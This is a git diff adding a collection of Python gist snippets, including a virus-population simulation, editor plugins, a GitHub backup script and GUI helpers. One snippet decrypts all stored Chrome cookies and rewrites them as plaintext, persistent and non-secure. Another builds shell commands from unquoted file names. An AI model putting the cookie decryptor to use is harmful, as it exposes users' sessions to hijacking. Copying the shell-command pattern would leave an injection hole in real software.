+##viruses = [SimpleVirus(0.34, 0.94), SimpleVirus(0.57, 0.77), SimpleVirus(0.51, 0.06), SimpleVirus(0.59, 0.46), SimpleVirus(0.05, 0.2)]
+##P1 = Patient(viruses, 7)
+##print(P1.getTotalPop())
+##virus = SimpleVirus(1.0, 0.0)
+##patient = Patient([virus], 100)
+##print(patient.update())
+##print(patient.update())
+##print(patient.update())
+##print(patient.update())
+##print(patient.update())
+##print(patient.update())
+##print(patient.update())
+##print(patient.update())
+##print(patient.getTotalPop())
+##virus = SimpleVirus(1.0, 1.0)
+##patient = Patient([virus], 100)
+##print(patient.getTotalPop())
+##viruses = [SimpleVirus(0.46, 0.95), SimpleVirus(0.74, 0.72), SimpleVirus(0.39, 0.72)]
+##P1 = Patient(viruses, 9)
+##print(P1.getTotalPop())
+
+
+#
+# PROBLEM 3
+#
+def simulationWithoutDrug(numViruses, maxPop, maxBirthProb, clearProb,
+                          numTrials):
+    """
+    Run the simulation and plot the graph for problem 3 (no drugs are used,
+    viruses do not have any drug resistance).    
+    For each of numTrials trial, instantiates a patient, runs a simulation
+    for 300 timesteps, and plots the average virus population size as a
+    function of time.
+
+    numViruses: number of SimpleVirus to create for patient (an integer)
+    maxPop: maximum virus population for patient (an integer)
+    maxBirthProb: Maximum reproduction probability (a float between 0-1)        
+    clearProb: Maximum clearance probability (a float between 0-1)
+    numTrials: number of simulation runs to execute (an integer)
+    """
+    virusList = [0] * 300
+    for sim in range(numTrials):
+        viruses = []
+        for virus in range(numViruses):
+            viruses.append(SimpleVirus(maxBirthProb, clearProb))
+
+        virusPop = []
+        patient = Patient(viruses, maxPop)
+        for i in range(300):
+            patient.update()
+            virusPop.append(patient.getTotalPop())
+            virusList[i] += patient.getTotalPop()
+
+
+    avgVirusList = [x / float(numTrials) for x in virusList]
+
+    pylab.title('Average virus population in patient')
+    pylab.xlabel('Time steps')
+    pylab.ylabel('Average virus population')
+    pylab.plot(avgVirusList, label = 'Viruses')
+    pylab.legend()
+    pylab.show()
+    
+        
+#simulationWithoutDrug(100, 1000, 0.99, 0.05, 2) # viruses grow quickly
+#simulationWithoutDrug(100, 1000, 0.1, 0.99, 2) # viruses quickly die
+#simulationWithoutDrug(100, 1000, 0.1, 0.05, 8)
+
+
+#
+# PROBLEM 4
+#
+class ResistantVirus(SimpleVirus):
+    """
+    Representation of a virus which can have drug resistance.
+    """   
+
+    def __init__(self, maxBirthProb, clearProb, resistances, mutProb):
+        """
+        Initialize a ResistantVirus instance, saves all parameters as attributes
+        of the instance.
+
+        maxBirthProb: Maximum reproduction probability (a float between 0-1)       
+
+        clearProb: Maximum clearance probability (a float between 0-1).
+
+        resistances: A dictionary of drug names (strings) mapping to the state
+        of this virus particle's resistance (either True or False) to each drug.
+        e.g. {'guttagonol':False, 'srinol':False}, means that this virus
+        particle is resistant to neither guttagonol nor srinol.
+
+        mutProb: Mutation probability for this virus particle (a float). This is
+        the probability of the offspring acquiring or losing resistance to a drug.
+        """
+        SimpleVirus.__init__(self, maxBirthProb, clearProb)
+        self.maxBirthProb = maxBirthProb
+        self.clearProb = clearProb
+        self.resistances = resistances
+        self.mutProb = mutProb
+
+    def getResistances(self):
+        """
+        Returns the resistances for this virus.
+        """
+        return self.resistances
+    
+    def getMutProb(self):
+        """
+        Returns the mutation probability for this virus.
+        """
+        return self.mutProb
+
+    def isResistantTo(self, drug):
+        """
+        Get the state of this virus particle's resistance to a drug. This method
+        is called by getResistPop() in TreatedPatient to determine how many virus
+        particles have resistance to a drug.       
+
+        drug: The drug (a string)
+
+        returns: True if this virus instance is resistant to the drug, False
+        otherwise.
+        """
+        if self.getResistances().has_key(drug):
+            return self.getResistances()[drug]
+        else:
+            return False
+
+    def reproduce(self, popDensity, activeDrugs):
+        """
+        Stochastically determines whether this virus particle reproduces at a
+        time step. Called by the update() method in the TreatedPatient class.
+
+        A virus particle will only reproduce if it is resistant to ALL the drugs
+        in the activeDrugs list. For example, if there are 2 drugs in the
+        activeDrugs list, and the virus particle is resistant to 1 or no drugs,
+        then it will NOT reproduce.
+
+        Hence, if the virus is resistant to all drugs
+        in activeDrugs, then the virus reproduces with probability:      
+
+        self.getMaxBirthProb * (1 - popDensity).                       
+
+        If this virus particle reproduces, then reproduce() creates and returns
+        the instance of the offspring ResistantVirus (which has the same
+        maxBirthProb and clearProb values as its parent). The offspring virus
+        will have the same maxBirthProb, clearProb, and mutProb as the parent.
+
+        For each drug resistance trait of the virus (i.e. each key of
+        self.resistances), the offspring has probability 1-mutProb of
+        inheriting that resistance trait from the parent, and probability
+        mutProb of switching that resistance trait in the offspring.       
+
+        For example, if a virus particle is resistant to guttagonol but not
+        srinol, and self.mutProb is 0.1, then there is a 10% chance that
+        that the offspring will lose resistance to guttagonol and a 90%
+        chance that the offspring will be resistant to guttagonol.
+        There is also a 10% chance that the offspring will gain resistance to
+        srinol and a 90% chance that the offspring will not be resistant to
+        srinol.
+
+        popDensity: the population density (a float), defined as the current
+        virus population divided by the maximum population       
+
+        activeDrugs: a list of the drug names acting on this virus particle
+        (a list of strings).
+
+        returns: a new instance of the ResistantVirus class representing the
+        offspring of this virus particle. The child should have the same
+        maxBirthProb and clearProb values as this virus. Raises a
+        NoChildException if this virus particle does not reproduce.
+        """
+        #random.seed(0)
+        reproduce = True
+        for drug in activeDrugs:
+            if not(self.isResistantTo(drug)):
+                reproduce = False
+
+        if reproduce:
+            if (self.getMaxBirthProb() * (1 - popDensity)) > random.random():
+                childResistances = {}
+                for drug in self.getResistances():
+                    if self.getResistances()[drug] == True:                        
+                        if (1 - self.getMutProb()) > random.random():
+                            childResistances[drug] = True
+                        else:
+                            childResistances[drug] = False
+                    else:
+                        if self.getMutProb() > random.random():
+                            childResistances[drug] = True
+                        else:
+                            childResistances[drug] = False
+                return ResistantVirus(self.getMaxBirthProb(), self.getClearProb(), childResistances, self.getMutProb())
+            #else:
+                #raise NoChildException
+
+        raise NoChildException
+
+#ResistantVirus(maxBirthProb, clearProb, resistances, mutProb)
+##virus = ResistantVirus(0.0, 1.0, {}, 0.0)
+##print(virus.doesClear())
+##virus = ResistantVirus(0.0, 1.0, {"drug1":True, "drug2":False}, 0.0)
+##print(virus.isResistantTo('drug2')) # False
+##virus.reproduce(0, [])
+##print(virus.isResistantTo('drug2')) # False
+##virus = ResistantVirus(1.0, 0.0, {"drug1":True, "drug2":False}, 0.0)
+##print(virus.reproduce(0, ["drug2"]))
+##print(virus.reproduce(0, ["drug1"]))
+##virus = ResistantVirus(1.0, 0.0, {"drug2": True}, 1.0)
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+##child = virus.reproduce(0, ["drug2"])
+##print(child.isResistantTo("drug2"))
+            
+
+class TreatedPatient(Patient):
+    """
+    Representation of a patient. The patient is able to take drugs and his/her
+    virus population can acquire resistance to the drugs he/she takes.
+    """
+
+    def __init__(self, viruses, maxPop):
+        """
+        Initialization function, saves the viruses and maxPop parameters as
+        attributes. Also initializes the list of drugs being administered
+        (which should initially include no drugs).              
+
+        viruses: The list representing the virus population (a list of
+        virus instances)
+
+        maxPop: The  maximum virus population for this patient (an integer)
+        """
+        Patient.__init__(self, viruses, maxPop)
+        self.drugList = []
+
+    def addPrescription(self, newDrug):
+        """
+        Administer a drug to this patient. After a prescription is added, the
+        drug acts on the virus population for all subsequent time steps. If the
+        newDrug is already prescribed to this patient, the method has no effect.
+
+        newDrug: The name of the drug to administer to the patient (a string).
+
+        postcondition: The list of drugs being administered to a patient is updated
+        """
+        if not(newDrug) in self.getPrescriptions():
+           self.drugList.append(newDrug)
+
+    def getPrescriptions(self):
+        """
+        Returns the drugs that are being administered to this patient.
+
+        returns: The list of drug names (strings) being administered to this
+        patient.
+        """
+        return self.drugList
+
+    def getResistPop(self, drugResist):
+        """
+        Get the population of virus particles resistant to the drugs listed in
+        drugResist.       
+
+        drugResist: Which drug resistances to include in the population (a list
+        of strings - e.g. ['guttagonol'] or ['guttagonol', 'srinol'])
+
+        returns: The population of viruses (an integer) with resistances to all
+        drugs in the drugResist list.
+        """
+        resistVirus = 0
+        for virus in self.getViruses():
+            resist = True
+            for drug in drugResist:
+                if not(virus.isResistantTo(drug)):
+                    resist = False
+            if resist:
+                resistVirus += 1
+
+        return resistVirus
+
+    def update(self):
+        """
+        Update the state of the virus population in this patient for a single
+        time step. update() should execute these actions in order:
+
+        - Determine whether each virus particle survives and update the list of
+          virus particles accordingly
+
+        - The current population density is calculated. This population density
+          value is used until the next call to update().
+
+        - Based on this value of population density, determine whether each 
+          virus particle should reproduce and add offspring virus particles to 
+          the list of viruses in this patient.
+          The list of drugs being administered should be accounted for in the
+          determination of whether each virus particle reproduces.
+
+        returns: The total virus population at the end of the update (an
+        integer)
+        """
+        for virus in self.viruses[:]:
+            if virus.doesClear():
+                self.viruses.remove(virus)
+
+        self.densPop = len(self.viruses) / float(self.getMaxPop())
+        
+        if self.densPop <= 1:
+            for virus in self.viruses[:]:
+                try:
+                    self.viruses.append(virus.reproduce(self.densPop, self.drugList))
+                except NoChildException:
+                    pass
+
+        return len(self.viruses)
+
+##tp = TreatedPatient([], 100)
+##print(tp.getPrescriptions())
+##tp.addPrescription('A')
+##print(len(tp.getPrescriptions()))
+##tp.addPrescription('B')
+##print(len(tp.getPrescriptions()))
+##tp.addPrescription('A')
+##print(len(tp.getPrescriptions()))
+##virus1 = ResistantVirus(1.0, 0.0, {"drug1": True}, 0.0)
+##virus2 = ResistantVirus(1.0, 0.0, {"drug1": False}, 0.0)
+##patient = TreatedPatient([virus1, virus2], 1000000)
+##patient.addPrescription("drug1")
+##patient.update()
+##patient.update()
+##patient.update()
+##patient.update()
+##patient.update()
+
+#
+# PROBLEM 5
+#
+def simulationWithDrug(numViruses, maxPop, maxBirthProb, clearProb, resistances,
+                       mutProb, numTrials):
+    """
+    Runs simulations and plots graphs for problem 5.
+
+    For each of numTrials trials, instantiates a patient, runs a simulation for
+    150 timesteps, adds guttagonol, and runs the simulation for an additional
+    150 timesteps.  At the end plots the average virus population size
+    (for both the total virus population and the guttagonol-resistant virus
+    population) as a function of time.
+
+    numViruses: number of ResistantVirus to create for patient (an integer)
+    maxPop: maximum virus population for patient (an integer)
+    maxBirthProb: Maximum reproduction probability (a float between 0-1)        
+    clearProb: maximum clearance probability (a float between 0-1)
+    resistances: a dictionary of drugs that each ResistantVirus is resistant to
+                 (e.g., {'guttagonol': False})
+    mutProb: mutation probability for each ResistantVirus particle
+             (a float between 0-1). 
+    numTrials: number of simulation runs to execute (an integer)
+    
+    """    
+    for trial in range(numTrials):
+        viruses = []
+        virusTotalList = [0] * 300
+        virusResistList = [0] * 300
+        for i in range(numViruses):
+            viruses.append(ResistantVirus(maxBirthProb, clearProb, resistances, mutProb))
+
+        tp = TreatedPatient(viruses, maxPop)
+
+        #virusTotal = []
+        #virusResist = []
+        for i in range(300):
+            if i > 149:
+                tp.addPrescription('guttagonol')
+            tp.update()
+            #virusTotal.append(tp.getTotalPop())
+            virusTotalList[i] += tp.getTotalPop()
+            #virusResist.append(tp.getResistPop('guttagonol'))
+            virusResistList[i] += tp.getResistPop('guttagonol')
+
+    avgVirusTotalList = [x / float(numTrials) for x in virusTotalList]
+    avgVirusResistList = [x / float(numTrials) for x in virusResistList]
+    
+    pylab.plot(avgVirusTotalList, label = 'Total virus count')
+    pylab.plot(avgVirusResistList, label = 'Guttagonol-resistant count')
+    pylab.xlabel('Time step')
+    pylab.ylabel('Virus count')
+    pylab.title('Virus resistance simulation')
+    pylab.legend()
+    pylab.show()
+
+simulationWithDrug(100, 1000, 0.1, 0.05, {'guttagonol': False}, 0.005, 10)
+#simulationWithDrug(100, 1000, 0.9, 0.01, {'guttagonol': False}, 0.005, 10)
+#simulationWithDrug(100, 1000, 0.95, 0.1, {'guttagonol': False}, 0.1, 10)
+#simulationWithDrug(100, 1000, 0.1, 0.05, {'guttagonol': True}, 0.005, 10)
diff --git a/hard-gists/4289538/._snippet.py b/hard-gists/4289538/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4289538/._snippet.py differ
diff --git a/hard-gists/4289538/snippet.py b/hard-gists/4289538/snippet.py
new file mode 100644
index 00000000..009453e1
--- /dev/null
+++ b/hard-gists/4289538/snippet.py
@@ -0,0 +1,18 @@
+import sublime, sublime_plugin, functools
+
+class IdleWatcher(sublime_plugin.EventListener):  
+    pending = 0  
+      
+    def handleTimeout(self, view):  
+        self.pending = self.pending - 1  
+        if self.pending == 0:   
+            self.on_idle(view)  
+
+    def on_modified(self, view):  
+        self.pending = self.pending + 1  
+        # Ask for handleTimeout to be called in N ms  
+        sublime.set_timeout(functools.partial(self.handleTimeout, view), 800)  
+  
+    def on_idle(self, view):  
+        view.run_command("save")
+        print "Current document saved"
diff --git a/hard-gists/428e5b737306937628f2944fbfdc4ffc/._snippet.py b/hard-gists/428e5b737306937628f2944fbfdc4ffc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/428e5b737306937628f2944fbfdc4ffc/._snippet.py differ
diff --git a/hard-gists/428e5b737306937628f2944fbfdc4ffc/snippet.py b/hard-gists/428e5b737306937628f2944fbfdc4ffc/snippet.py
new file mode 100644
index 00000000..6b496008
--- /dev/null
+++ b/hard-gists/428e5b737306937628f2944fbfdc4ffc/snippet.py
@@ -0,0 +1,29 @@
+#Based off https://gist.github.com/DakuTree/98c8362fb424351b803e & pieces of https://gist.github.com/jordan-wright/5770442
+from os import getenv
+from shutil import copyfile
+import sqlite3
+import win32crypt #https://sourceforge.net/projects/pywin32/
+
+# Copy Cookies to current folder
+copyfile(getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Cookies", './Cookies')
+
+# Connect to the Database
+conn = sqlite3.connect('./Cookies')
+cursor = conn.cursor()
+
+# Get the results
+cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
+for host_key, name, value, encrypted_value in cursor.fetchall():
+	# Decrypt the encrypted_value
+	decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode('utf-8') or value or 0
+
+	# Update the cookies with the decrypted value
+	# This also makes all session cookies persistent
+	cursor.execute('\
+		UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, persistent = 1, secure = 0\
+		WHERE host_key = ?\
+		AND name = ?',
+		(decrypted_value, host_key, name));
+
+conn.commit()
+conn.close()
\ No newline at end of file
diff --git a/hard-gists/4319265/._snippet.py b/hard-gists/4319265/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4319265/._snippet.py differ
diff --git a/hard-gists/4319265/snippet.py b/hard-gists/4319265/snippet.py
new file mode 100644
index 00000000..8a354a7f
--- /dev/null
+++ b/hard-gists/4319265/snippet.py
@@ -0,0 +1,125 @@
+#!/usr/bin/env python3
+# See http://stackoverflow.com/questions/3581031/backup-mirror-github-repositories/13917251#13917251
+# You can find the latest version of this script at
+# https://gist.github.com/4319265
+import os
+import sys
+import json
+import urllib.request
+import subprocess
+
+__version__ = '0.4'
+__author__ = 'Marius Gedminas <marius@gedmin.as>'
+__url__ = 'https://gist.github.com/4319265'
+
+# configuration
+gists_of = ['mgedmin']
+repos_of = ['mgedmin', 'gtimelog']
+backup_dir = os.path.expanduser('~/github')
+gist_backup_dir = os.path.expanduser('~/github/gists')
+
+
+# helpers
+
+class Error(Exception):
+    """An error that is not a bug in this script."""
+
+
+def ensure_dir(dir):
+    if not os.path.isdir(dir):
+        os.makedirs(dir)
+
+
+def get_json_and_headers(url):
+    """Perform HTTP GET for a URL, return deserialized JSON and headers.
+
+    Returns a tuple (json_data, headers) where headers is an instance
+    of email.message.Message (because that's what urllib gives us).
+    """
+    with urllib.request.urlopen(url) as r:
+        # We expect Github to return UTF-8, but let's verify that.
+        content_type = r.info().get('Content-Type', '').lower()
+        if content_type not in ('application/json; charset="utf-8"',
+                                'application/json; charset=utf-8'):
+            raise Error('Did not get UTF-8 JSON data from {0}, got {1}'
+                        .format(url, content_type))
+        return json.loads(r.read().decode('UTF-8')), r.info()
+
+
+def get_github_list(url, batch_size=100):
+    """Perform (a series of) HTTP GETs for a URL, return deserialized JSON.
+
+    Format of the JSON is documented at
+    http://developer.github.com/v3/repos/#list-organization-repositories
+
+    Supports batching (which Github indicates by the presence of a Link header,
+    e.g. ::
+
+        Link: <https://api.github.com/resource?page=2>; rel="next",
+              <https://api.github.com/resource?page=5>; rel="last"
+
+    """
+    # API documented at http://developer.github.com/v3/#pagination
+    res, headers = get_json_and_headers('{0}?per_page={1}'.format(
+        url, batch_size))
+    page = 1
+    while 'rel="next"' in headers.get('Link', ''):
+        page += 1
+        more, headers = get_json_and_headers('{0}?page={1}&per_page={2}'.format(
+            url, page, batch_size))
+        res += more
+    return res
+
+
+def info(*args):
+    print(" ".join(map(str, args)))
+    sys.stdout.flush()
+
+
+def backup(git_url, dir):
+    if os.path.exists(dir):
+        subprocess.call(['git', 'fetch'], cwd=dir)
+    else:
+        subprocess.call(['git', 'clone', '--mirror', git_url])
+
+
+def update_description(git_dir, description):
+    with open(os.path.join(git_dir, 'description'), 'w', encoding='UTF-8') as f:
+        f.write(description + '\n')
+
+
+def update_cloneurl(git_dir, cloneurl):
+    with open(os.path.join(git_dir, 'cloneurl'), 'w') as f:
+        f.write(cloneurl + '\n')
+
+
+def back_up_gists_of(username, gist_backup_dir=gist_backup_dir):
+    ensure_dir(gist_backup_dir)
+    os.chdir(gist_backup_dir)
+    for gist in get_github_list('https://api.github.com/users/%s/gists' % username):
+        dir = gist['id'] + '.git'
+        description = gist['description'] or "(no description)"
+        info("+", "gists/" + gist['id'], "-", description.partition('\n')[0])
+        backup(gist['git_pull_url'], dir)
+        update_description(dir, description + '\n\n' + gist['html_url'])
+        update_cloneurl(dir, gist['git_push_url'])
+
+
+def back_up_repos_of(username, backup_dir=backup_dir):
+    ensure_dir(backup_dir)
+    os.chdir(backup_dir)
+    for repo in get_github_list('https://api.github.com/users/%s/repos' % username):
+        dir = repo['name'] + '.git'
+        description = repo['description'] or "(no description)"
+        info("+", repo['full_name'])
+        backup(repo['git_url'], dir)
+        update_description(dir, description + '\n\n' + repo['html_url'])
+        update_cloneurl(dir, repo['ssh_url'])
+
+
+# action
+if __name__ == '__main__':
+    for user in gists_of:
+        back_up_gists_of(user)
+    for user in repos_of:
+        back_up_repos_of(user)
diff --git a/hard-gists/4334461/._snippet.py b/hard-gists/4334461/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4334461/._snippet.py differ
diff --git a/hard-gists/4334461/snippet.py b/hard-gists/4334461/snippet.py
new file mode 100644
index 00000000..b3c8d2be
--- /dev/null
+++ b/hard-gists/4334461/snippet.py
@@ -0,0 +1,31 @@
+"""
+filename: angularjs.py
+
+Usage:
+    {% ng Some.angular.scope.content %}
+
+e.g.
+    {% load angularjs %}
+    <div ng-init="yourName = 'foobar'">
+        <p>{% ng yourName %}</p>
+    </div>
+"""
+
+from django import template
+
+register = template.Library()
+
+
+class AngularJS(template.Node):
+    def __init__(self, bits):
+        self.ng = bits
+
+    def render(self, ctx):
+        return "{{%s}}" % " ".join(self.ng[1:])
+
+
+def do_angular(parser, token):
+    bits = token.split_contents()
+    return AngularJS(bits)
+
+register.tag('ng', do_angular)
diff --git a/hard-gists/4340606/._snippet.py b/hard-gists/4340606/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4340606/._snippet.py differ
diff --git a/hard-gists/4340606/snippet.py b/hard-gists/4340606/snippet.py
new file mode 100644
index 00000000..b47605d4
--- /dev/null
+++ b/hard-gists/4340606/snippet.py
@@ -0,0 +1,35 @@
+"""Display Theano functions in the IPython notebook with pydotprint."""
+
+__author__ = "David Warde-Farley"
+__copyright__ = "Copyright 2012, Universite de Montreal"
+__credits__ = ["David Warde-Farley"]
+__license__ = "3-clause BSD"
+__email__ = "wardefar@iro"
+__maintainer__ = "David Warde-Farley"
+
+
+import os
+import tempfile
+from theano.compile.function_module import Function
+from theano.printing import pydotprint
+
+_loaded = False
+
+
+def print_function_png(o):
+    handle, fn = tempfile.mkstemp(suffix='.png')
+    try:
+        os.close(handle)
+        pydotprint(o, outfile=fn, format='png', print_output_file=False)
+        with open(fn) as f:
+            return f.read()
+    finally:
+        os.remove(fn)
+
+
+def load_ipython_extension(ip):
+    global _loaded
+    if not _loaded:
+        png_formatter = ip.display_formatter.formatters['image/png']
+        png_formatter.for_type(Function, print_function_png)
+        _loaded = True
\ No newline at end of file
diff --git a/hard-gists/4345418/._snippet.py b/hard-gists/4345418/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4345418/._snippet.py differ
diff --git a/hard-gists/4345418/snippet.py b/hard-gists/4345418/snippet.py
new file mode 100644
index 00000000..0fecc60d
--- /dev/null
+++ b/hard-gists/4345418/snippet.py
@@ -0,0 +1,35 @@
+from PyQt4 import QtCore, QtGui
+
+class TextEdit(QtGui.QTextEdit):
+    """
+    A TextEdit editor that sends editingFinished events 
+    when the text was changed and focus is lost.
+    """
+
+    editingFinished = QtCore.pyqtSignal()
+    receivedFocus = QtCore.pyqtSignal()
+    
+    def __init__(self, parent):
+        super(TextEdit, self).__init__(parent)
+        self._changed = False
+        self.setTabChangesFocus( True )
+        self.textChanged.connect( self._handle_text_changed )
+
+    def focusInEvent(self, event):
+        super(TextEdit, self).focusInEvent( event )
+        self.receivedFocus.emit()
+
+    def focusOutEvent(self, event):
+        if self._changed:
+            self.editingFinished.emit()
+        super(TextEdit, self).focusOutEvent( event )
+
+    def _handle_text_changed(self):
+        self._changed = True
+
+    def setTextChanged(self, state=True):
+        self._changed = state
+
+    def setHtml(self, html):
+        QtGui.QTextEdit.setHtml(self, html)
+        self._changed = False
\ No newline at end of file
diff --git a/hard-gists/4345582/._snippet.py b/hard-gists/4345582/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4345582/._snippet.py differ
diff --git a/hard-gists/4345582/snippet.py b/hard-gists/4345582/snippet.py
new file mode 100644
index 00000000..eb577833
--- /dev/null
+++ b/hard-gists/4345582/snippet.py
@@ -0,0 +1,14 @@
+import sublime_plugin, os
+ 
+class RemoteEdit(sublime_plugin.EventListener):
+    def on_post_save(self, view):
+        remote = { "/local/path/to/project": "/usr/bin/scp '$1' username@remote_host:'/remote/path/to/project$2'" }
+ 
+        for dirname, target in remote.iteritems():
+            if view.file_name().startswith( dirname ):
+                target = target.replace( "$1", view.file_name() )
+                target = target.replace( "$2", view.file_name()[len(dirname):] )
+ 
+                fname = view.file_name().replace(dirname, '')
+                os.system( target + " &" )
+                os.system( "/usr/local/bin/growlnotify -m 'Copied %s'" % fname )
\ No newline at end of file
diff --git a/hard-gists/4349257/._snippet.py b/hard-gists/4349257/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4349257/._snippet.py differ
diff --git a/hard-gists/4349257/snippet.py b/hard-gists/4349257/snippet.py
new file mode 100644
index 00000000..ce6c21af
--- /dev/null
+++ b/hard-gists/4349257/snippet.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import os
+import webbrowser
+from threading import Timer
+
+os.environ["DJANGO_SETTINGS_MODULE"] = "webapp.settings"
+
+import cherrypy
+from django.conf import settings
+from django.core.handlers.wsgi import WSGIHandler
+
+
+class DjangoApplication(object):
+    HOST = "127.0.0.1"
+    PORT = 8001
+
+    def mount_static(self, url, root):
+        """
+        :param url: Relative url
+        :param root: Path to static files root
+        """
+        config = {
+            'tools.staticdir.on': True,
+            'tools.staticdir.dir': root,
+            'tools.expires.on': True,
+            'tools.expires.secs': 86400
+        }
+        cherrypy.tree.mount(None, url, {'/': config})
+
+    def open_browser(self):
+        Timer(3, webbrowser.open, ("http://%s:%s" % (self.HOST, self.PORT),)).start()
+
+    def run(self):
+        cherrypy.config.update({
+            'server.socket_host': self.HOST,
+            'server.socket_port': self.PORT,
+            'engine.autoreload_on': False,
+            'log.screen': True
+        })
+        self.mount_static(settings.STATIC_URL, settings.STATIC_ROOT)
+
+        cherrypy.log("Loading and serving Django application")
+        cherrypy.tree.graft(WSGIHandler())
+        cherrypy.engine.start()
+
+        self.open_browser()
+
+        cherrypy.engine.block()
+
+
+if __name__ == "__main__":
+    print "Your app is running at http://localhost:8001"
+    DjangoApplication().run()
diff --git a/hard-gists/4349575/._snippet.py b/hard-gists/4349575/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4349575/._snippet.py differ
diff --git a/hard-gists/4349575/snippet.py b/hard-gists/4349575/snippet.py
new file mode 100644
index 00000000..baef8f08
--- /dev/null
+++ b/hard-gists/4349575/snippet.py
@@ -0,0 +1,74 @@
+import sys
+from PyQt4 import QtGui
+from PyQt4 import QtCore
+from PyQt4.QtCore import Qt
+
+
+class DragFromWidget(QtGui.QDockWidget):
+
+    def __init__(self, parent=None):
+        super(DragFromWidget, self).__init__(parent=parent)
+        self.layout().addWidget(QtGui.QLabel("Label!"))
+
+    def dragEnterEvent(self, event):
+        print("dragEnterEvent")
+
+    def mousePressEvent(self, event):
+        label = self.childAt(event.pos())
+        if not label:
+            return # nothing was selected
+        hotSpot = event.pos() - label.pos()
+        mimeData = QtCore.QMimeData()
+        mimeData.setText(label.text())
+        mimeData.setData("application/x-hotspot", str(hotSpot.x()))
+        pixmap = QtGui.QPixmap(label.size())
+        label.render(pixmap)
+
+        drag = QtGui.QDrag(self)
+        drag.setMimeData(mimeData)
+        drag.setPixmap(pixmap)
+        drag.setHotSpot(hotSpot)
+
+        dropAction = drag.exec_(Qt.CopyAction|Qt.MoveAction, Qt.CopyAction)
+        if dropAction == Qt.MoveAction:
+            label.close()
+
+
+class DragToWidget(QtGui.QDockWidget):
+
+    def __init__(self, parent=None):
+        super(DragToWidget, self).__init__(parent=parent)
+        self.setAcceptDrops(True)
+
+    def dragEnterEvent(self, event):
+        event.accept()
+
+    def dropEvent(self, event):
+        print("'%s' was dropped onto me." % event)
+
+
+class SandboxApp(QtGui.QApplication):
+
+    def __init__(self, *args, **kwargs):
+        super(SandboxApp, self).__init__(*args)
+        self.mainwindow = MainWindow()
+        self.mainwindow.show()
+
+
+class MainWindow(QtGui.QMainWindow):
+
+    def __init__(self, parent=None):
+        super(MainWindow, self).__init__(parent=parent)
+        self.setDockOptions(QtGui.QMainWindow.AllowNestedDocks|QtGui.QMainWindow.AnimatedDocks)
+        self.addDockWidget(Qt.LeftDockWidgetArea, DragFromWidget())
+        self.addDockWidget(Qt.RightDockWidgetArea, DragToWidget())
+
+
+def main():
+    app = SandboxApp(sys.argv)
+    sys.exit(app.exec_())
+    
+
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/434e185ce543ca1c8a99/._snippet.py b/hard-gists/434e185ce543ca1c8a99/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/434e185ce543ca1c8a99/._snippet.py differ
diff --git a/hard-gists/434e185ce543ca1c8a99/snippet.py b/hard-gists/434e185ce543ca1c8a99/snippet.py
new file mode 100644
index 00000000..bf08266d
--- /dev/null
+++ b/hard-gists/434e185ce543ca1c8a99/snippet.py
@@ -0,0 +1,15 @@
+import sublime_plugin
+import sublime
+import time
+import os
+
+
+class MyEvents(sublime_plugin.EventListener):
+    def on_deactivated_async(self, view):
+        s = view.file_name()
+        if s:
+            time.sleep(0.1)  # Give the file time to be removed from the filesystem
+            if not os.path.exists(s):
+                print("Closing view", s)
+                view.set_scratch(True)
+                view.window().run_command("close_file")
\ No newline at end of file
diff --git a/hard-gists/4350345/._snippet.py b/hard-gists/4350345/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4350345/._snippet.py differ
diff --git a/hard-gists/4350345/snippet.py b/hard-gists/4350345/snippet.py
new file mode 100644
index 00000000..9fa3b78f
--- /dev/null
+++ b/hard-gists/4350345/snippet.py
@@ -0,0 +1,96 @@
+from pymongo import Connection
+from bson import ObjectId
+from itertools import imap
+
+
+class Model(dict):
+    """
+    A simple model that wraps mongodb document
+    """
+    __getattr__ = dict.get
+    __delattr__ = dict.__delitem__
+    __setattr__ = dict.__setitem__
+
+    def save(self):
+        if not self._id:
+            self.collection.insert(self)
+        else:
+            self.collection.update(
+                { "_id": ObjectId(self._id) }, self)
+
+    def reload(self):
+        if self._id:
+            self.update(self.collection\
+                    .find_one({"_id": ObjectId(self._id)}))
+
+    def remove(self):
+        if self._id:
+            self.collection.remove({"_id": ObjectId(self._id)})
+            self.clear()
+
+
+# ------------------------------
+# Here is the example model
+# ------------------------------
+
+class Document(Model):
+    collection = Connection()["test_database"]["test_collections"]
+
+    @property
+    def keywords(self):
+        return self.title.split()
+
+
+# ------------------------------
+# Mapping documents to the model
+# ------------------------------
+
+documents = imap(Document, Document.collection.find())
+
+# that's all
+
+for document in documents:
+    print document.title, document.keywords
+
+
+# ------------------------------
+# Creating new document
+# ------------------------------
+
+document = Document({
+    "title": "test document",
+    "slug": "test-document"
+})
+
+print document._id # none
